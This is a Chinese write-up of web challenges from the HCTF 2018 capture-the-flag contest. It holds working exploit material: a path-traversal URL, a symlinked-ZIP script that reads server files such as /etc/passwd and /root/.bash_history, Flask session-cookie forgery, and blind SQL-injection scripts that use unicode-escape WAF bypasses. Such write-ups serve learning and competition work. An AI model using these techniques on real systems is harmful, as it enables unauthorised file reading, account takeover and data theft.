内容简介:以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。文件读取
HCTF 2018
以Redbud参赛,最终拿了第六,前排战队的实力实在是太强。
Warmup
文件读取
http://warmup.2018.hctf.io/index.php?file=source.php%3f../../../../../../../ffffllllaaaagggg
Hide and seek
第一天看了半天,总感觉这个题缺少条件。然后,出题人修修补补,改了又改,心累。最后考察的知识点也没啥营养性,感觉比较无趣。
很奇怪,为啥现在大家出题都不会自己测一下环境有没有问题,直接就上线了…
docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/Hideandseek
第一个知识点,ZIP 软连接解压,可以任意文件读取。
HTTP包如下
POST /upload HTTP/1.1 Host: hideandseek.2018.hctf.io User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------14689847831755241969368914144 Content-Length: 515 Referer: http://hideandseek.2018.hctf.io/ Cookie: session=eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------14689847831755241969368914144 Content-Disposition: form-data; name="the_file"; filename="hellow.zip" Content-Type: application/zip PK kjM ¹)linkUT kæ[kæ[ux÷/etc/passwdPK kjM ¹)í¡linkUTkæ[ux÷PKJI -----------------------------14689847831755241969368914144 Content-Disposition: form-data; name="submit" Submit -----------------------------14689847831755241969368914144--
写了一个EXP批量文件读取:
import requests import random import os import string import time import zipfile import sys def generate_zip(path,i): zip_name = 'moxiaoxi'+str(i)+'.zip' link_namme = 'moxiaoxi'+str(i) os.system("ln -s {} {}".format(path,link_namme)) print "ln -s {} {}".format(path,link_namme) os.system("zip -y {} {}".format(zip_name,link_namme)) with open(zip_name,'r') as f: data = f.read() return zip_name,data def exp(path,i): zip_name,data = generate_zip(path,i) # zip_name,data = rewrite(path,i) session = requests.Session() paramsPost = {"submit":"Submit"} paramsMultipart = [('the_file', (zip_name, data, 'application/zip'))] headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36","Referer":"http://hideandseek.2018.hctf.io/","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding":"gzip, deflate","DNT":"1"} cookies = {"session":"eyJ1c2VybmFtZSI6Im1veGlhb3hpIn0.Dsf5zA.yM84QphtcfEoykAu2lwjxp7_QvI"} response = session.post("http://hideandseek.2018.hctf.io/upload", data=paramsPost, files=paramsMultipart, headers=headers, cookies=cookies) print("Status code: %i" % response.status_code) print("Response body: %s" % response.content) if len(response.content)>5: # print("Response body: %s" % response.content) with open('out.txt','a+') as f: f.write('\n\n{}\n\n{}'.format(path,response.content)) if __name__=='__main__': name = 'test'+''.join(random.sample(string.ascii_letters + string.digits, 4)) exp(sys.argv[1],name)
一开始,出题人环境没配好,可以读取/root/.bash_history,还蛮有趣,监控出题人操作。
$ python hideandseek.py /root/.bash_history ln -s /root/.bash_history moxiaoxitestkYcG adding: moxiaoxitestkYcG (stored 0%) Status code: 200 Response body: ls curl http://127.0.0.1:80 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log ps ps -A kill 86 ps -A cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log ls cd uploads/ ls rm 1.zip ls cd dead_z3r0_a230418bbeaf0c06f83a51f6ff9d9b8caf23dc6a3aa4b9fa3f6ab9b85cff2212.zip_/ ls ls -l file dead_z3r0 cd .. cd .. ls cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +4000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +12000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +40000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +30000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +35000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +38000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +37000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +36500 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +1 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +5000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +50000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +60000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +80000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +300000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100 cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 100| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +100000 | head -n 10000| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +10000 | head -n 10000| grep linking cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking ps -A exit cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep linking cat /etc/passwd cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uwsgi' cat /tmp/hard_t0_guess_dsun2s69u5c_uwsgi.log | tail -n +200000 | head -n 10000| grep 'uw' cat /app/hard_t0_guess_dkp2s6d9sa/hard_t0_guess_also_9u5c_main.py exit
正解应该先读取/proc/self/environ,得到路径。然后读取main函数。
很期待uwsgi+nginx+flask环境的组合问题,可惜…
python hideandseek.py /proc/self/environ ln -s /proc/self/environ moxiaoxitestzGFp adding: moxiaoxitestzGFp (stored 0%) Status code: 200 Response body: UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=e04ab7732827SHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
python hideandseek.py /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini ln -s /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini moxiaoxitestE5jc adding: moxiaoxitestE5jc (stored 0%) Status code: 200 Response body: [uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
得到源码:
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response import uuid import base64 import random import flag from werkzeug.utils import secure_filename import os random.seed(uuid.getnode()) app = Flask(__name__) app.config['SECRET_KEY'] = str(random.random()*100) app.config['UPLOAD_FOLDER'] = './uploads' app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 ALLOWED_EXTENSIONS = set(['zip']) def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET']) def index(): error = request.args.get('error', '') if(error == '1'): session.pop('username', None) return render_template('index.html', forbidden=1) if 'username' in session: return render_template('index.html', user=session['username'], flag=flag.flag) else: return render_template('index.html') @app.route('/login', methods=['POST']) def login(): username=request.form['username'] password=request.form['password'] if request.method == 'POST' and username != '' and password != '': if(username == 'admin'): return redirect(url_for('index',error=1)) session['username'] = username return redirect(url_for('index')) @app.route('/logout', methods=['GET']) def logout(): session.pop('username', None) return redirect(url_for('index')) @app.route('/upload', methods=['POST']) def upload_file(): if 'the_file' not in request.files: return redirect(url_for('index')) file = request.files['the_file'] if file.filename == '': return redirect(url_for('index')) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) if(os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else: return 'This file is not a zipfile' try: extract_path = file_save_path + '_' os.system('unzip -n ' + file_save_path + ' -d '+ extract_path) read_obj = os.popen('cat ' + extract_path + '/*') file = read_obj.read() read_obj.close() os.system('rm -rf ' + extract_path) except Exception as e: file = None os.remove(file_save_path) if(file != None): if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1): return redirect(url_for('index', error=1)) return Response(file) if __name__ == '__main__': #app.run(debug=True) app.run(host='127.0.0.1', debug=True, port=10008)
关注random.seed(uuid.getnode()) ,uuid.getnode()是取mac地址转换的,所以为固定值。 我们只需要读取远程mac地址,然后本地搭建一个环境,伪造一波就好。这里伪造的时候,需要注意 python 版本为python3.
# moxiaoxi @ moxiaoxideMacBook-Pro in ~/Desktop/ZIP [13:13:39] $ python hideandseek.py /sys/class/net/eth0/address ln -s /sys/class/net/eth0/address moxiaoxitestTL7W adding: moxiaoxitestTL7W (stored 0%) Status code: 200 Response body: 12:34:3e:14:7c:62
https://www.vultr.com/tools/mac-converter/?mac_address=02%3A42%3Aa2%3A2a%3A1e%3A42
seed为20015589129314,
GET / HTTP/1.1 Host: hideandseek.2018.hctf.io Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-e7Sw.IvMRaI59t9NWnTGtNbJn0oBkMmY Connection: close
Admin
docker 环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/admin
这题的思路和Hide and seek一样。
首先,源码泄漏https://github.com/woadsl1234/hctf_flask/
替换登陆name为admin。然后,登陆一下,得到加密的cookie
@app.route('/login', methods = ['GET', 'POST']) def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if request.method == 'POST': name = strlower(form.username.data) session['name'] = 'admin'#name print session user = User.query.filter_by(username=name).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title = 'login', form = form)
与远程交互,替换一下cookie就可以得到flag
GET /index HTTP/1.1 Host: admin.2018.hctf.io User-Agent: Mozilla/5.0 (Linux; Android 9.0; SAMSUNG-SM-T377A Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://admin.2018.hctf.io/login Cookie: session=.eJxFkMuKwkAQRX9l6LWLpEc3ARdKYnCgqjF0DF0byWg06YcDUUls8d-nkcFZFFw4cLi3Hmx37JtLy5Jrf2smbNcdWPJgH98sYSI1d8q3Fh3MSGef5LJRpKtO5JuI5FaLSk2FhClKNUO_GdGpKNwdZDmgzDi4TQQui0WejSpkJU8D6qIl2Vr0EEP-pUEHZ04tSDIiL6ySJadq1YIvPTiIUC-t4qUPjkHIxUgOOLp1DPJgSS8GUWHwlXP2nLD9pT_urj-mOb8nKL3nlFqLPMzQJlZBh-nSUKU86pMntw71TYxpGWpsLTk0YjF_6TpXn5q3CXgh4Y-ca_cPVFVc62r6ArdL078-yOKIPX8BlRpvtQ.W-bNtA.azJFSmLfN1OcVVz3Lg5pLV5WlMw; remember_token=10|80e01e90de15e2f414ab634ab723fcdc0e394e97522b75ee66831a0b34c86add2e29334b0fd4b3336e1bb32c9c6a693f5b627882eba17fb4ea7124e397159373 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1
得到flag
kzone
docker环境:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/HCTF2018/kzone
同理,源码泄漏
http://kzone.2018.hctf.io/www.zip
审计,需要修改userAgent为QQ,比较好看题
(function () { var sUserAgent = navigator.userAgent.toLowerCase(); if (sUserAgent.match(/QQ/i) != 'qq') { window.location.href = 'https://qzone.qq.com'; } })();
在member.php存在注入。主要区别在于setcookie.如果查询语句正常,只会出现两个setcookie。否则为四个。
if (isset($_COOKIE["islogin"])) { if ($_COOKIE["login_data"]) { $login_data = json_decode($_COOKIE['login_data'], true); $admin_user = $login_data['admin_user']; $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1"); if ($udata['username'] == '') { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } $admin_pass = sha1($udata['password'] . LOGIN_KEY); if ($admin_pass == $login_data['admin_pass']) { $islogin = 1; } else { setcookie("islogin", "", time() - 604800); setcookie("login_data", "", time() - 604800); } } }
注入点,查询出错,会出现4个setcookie,否则为两个setcookie
写脚本注入admin
import requests import string def test_once(index,s): session = requests.Session() paramsPost = {"login":"Login","pass":"1","user":"admin"} cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/fish_admin/**/where/**/right(passw\\u006frd,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"} headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"} response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies) flag = response.headers['Set-Cookie'].count('islogin') if flag == 1: print(index,s,'yes') return True elif flag == 2: print(index,s,'no') else: print('[-] may be error,{}'.format(s)) return False def hack(): ss = string.printable num = 41 flag = '' end = 0 i = 1 for i in range(1,num): for s in ss: if test_once(i,s+flag): flag = s+flag break print flag print flag if __name__=='__main__': hack() # test_once(1,'6')
发现被改的没办法反解。
尝试伪造登陆了一波,发现登陆后也没什么东西。
POST /admin/list.php HTTP/1.1 Host: kzone.2018.hctf.io User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Referer: http://kzone.2018.hctf.io/admin/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 39 Cookie: islogin=1;login_data={"admin_user":"admin2'/**/uni\u006fn/**/select/**/1,'admin','cda9997020c313233bd2c1ff30ad5b15',4,5,6\u0023","admin_pass":"09891eef17901e93b7b259ae6a8e3654e08b5eaa"} Connection: close Upgrade-Insecure-Requests: 1 user=admin&pass=moxiaoxi111&login=Login
后面在数据库里翻到了flag。
import requests import string def get_payload(): # s = "admin' and ((select count(*) from information_schema.tables where table_schema='hctf_kouzone')=5);" # s = """select 1 from information_schema.tables where table_schema='hctf_kouzone' and table_name='fish_admin'""" # s = """select (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='hctf_kouzone' limit 0,1)=10""" # s = """select (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema='hctf_kouzone' and table_name='F1444g' limit 0,1)=10""" s = """select (select ascii(substr(F1a9,1,1)) from F1444g limit 0,1)=10""" s = "admin' and ({});".format(s) print "select * from fish_admin where username='{}".format(s) s = s.replace(';','\u0023') s = s.replace(' ','/**/') print s s = s.replace('or','\u006fr') s = s.replace('=','\u003d') s = s.replace("sub","\u0073\u0075\u0062") s = s.replace('ascii','\u0061\u0073\u0063\u0069\u0069') print s return s def test_once(index,s): session = requests.Session() paramsPost = {"login":"Login","pass":"1","user":"admin"} # cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"} # payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(table_name,{},1))/**/from/**/inf\u006frmation_schema.tables/**/where/**/table_schema\u003d'hctf_kouzone'/**/limit/**/0,1)\u003d{})\u0023".format(index,s) # F1444g # payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(column_name,{},1))/**/from/**/inf\u006frmation_schema.columns/**/where/**/table_schema\u003d'hctf_kouzone'/**/and/**/table_name\u003d'F1444g'/**/limit/**/0,1)\u003d{})\u0023".format(index,s) # F1a9 payload = "admin'/**/and/**/(select/**/(select/**/\u0061\u0073\u0063\u0069\u0069(\u0073\u0075\u0062str(F1a9,{},1))/**/from/**/F1444g/**/limit/**/0,1)\u003d{})\u0023".format(index,s) cookies = {"login_data":"{\"admin_user\":\""+payload+"\",\"admin_pass\":\"2\"}","islogin":"1"} # cookies = {"login_data":"{\"admin_user\":\"admin'/**/and/**/((select/**/1/**/from/**/F1444g/**/where/**/right(F1a9,"+str(index)+")/**/in/**/('"+s+"')))\\u0023\",\"admin_pass\":\"2\"}","islogin":"1"} headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0","Referer":"http://kzone.2018.hctf.io/admin/login.php","Connection":"close","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Content-Type":"application/x-www-form-urlencoded"} response = session.post("http://kzone.2018.hctf.io/admin/login.php", data=paramsPost, headers=headers, cookies=cookies) flag = response.headers['Set-Cookie'].count('islogin') if flag == 1: print(index,s,'yes') return True elif flag == 2: print(index,s,'no') else: print('[-] may be error,{}'.format(s)) return False def hack(): ss = string.printable num = 41 flag = '' end = 0 i = 1 for i in range(1,num): for s in ss: if test_once(i,ord(s)): flag += s break print flag print flag if __name__=='__main__': # hack() # test_once(1,'6') # get_payload() hack()
这题有趣的点在于 $login_data = json_decode($_COOKIE['login_data'], true);
直接bypass waf。
Share
扫描得到robots.txt 源码
http://share.2018.hctf.io/robots.txt
/* this terrible code */ class FileController < ApplicationController before_action :authenticate_user! before_action :authenticate_role before_action :authenticate_admin protect_from_forgery :except => [:upload , :share_people_test] # post /file/upload def upload if(params[:file][:myfile] != nil && params[:file][:myfile] != "") file = params[:file][:myfile] name = Base64.decode64(file.original_filename) ext = name.split('.')[-1] if ext == name || ext ==nil ext="" end share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload") share.write(Base64.decode64(file.read)) share.close File.rename(share.path,share.path+"."+ext) tmp = Sharefile.new tmp.public = 0 tmp.path = share.path tmp.name = name tmp.tempname= share.path.split('/')[-1]+"."+ext tmp.context = params[:file][:context] tmp.save end redirect_to root_path end # post /file/Alpha_test def Alpha_test if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil) fid = params[:fid].to_i uid = params[:uid].to_i if(fid > 0 && uid > 0) if(Sharelist.find_by(sharefile_id: fid)==nil) if(Sharelist.count("user_id = ?", uid.to_s) <5) share = Sharelist.new share.sharefile_id = fid share.user_id = uid share.save end end end end redirect_to(root_path) end def share_file_to_all file = Sharefile.find(params[:fid]) File.rename(file.path,Rails.root+"/public/download/"+file.name) file.public = true file.path = Rails.root+"/public/download/"+file.name file.save end end
views |-- devise | |-- confirmations | |-- mailer | |-- passwords | |-- registrations | | `-- new.html.erb | |-- sessions | | `-- new.html.erb | |-- shared | `-- unlocks |-- file |-- home | |-- Alphatest.erb | |-- addtest.erb | |-- home.erb | |-- index.html.erb | |-- publiclist.erb | |-- share.erb | `-- upload.erb |-- layouts | |-- application.html.erb | |-- mailer.html.erb | `-- mailer.text.erb `-- recommend `-- show.erb
# post /file/Alpha_test def Alpha_test if(params[:fid] != "" && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil) fid = params[:fid].to_i uid = params[:uid].to_i if(fid > 0 && uid > 0) if(Sharelist.find_by(sharefile_id: fid)==nil) if(Sharelist.count("user_id ="+ uid.to_s) <5) share = Sharelist.new share.sharefile_id = fid share.user_id = uid share.save end end end end redirect_to(root_path) end
后续看WP,有趣则补。
Game
逻辑问题
http://game.2018.hctf.io/web2/user.php?order=password
可以看到password的排序。可以疯狂注册用户,通过密码逐位与admin密码比较,从而得到admin密码。
bestrong
后续看WP,有趣则补。
bottle
后续看WP,有趣则补。
以上所述就是小编给大家介绍的《HCTF 2018 Web Write-up》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。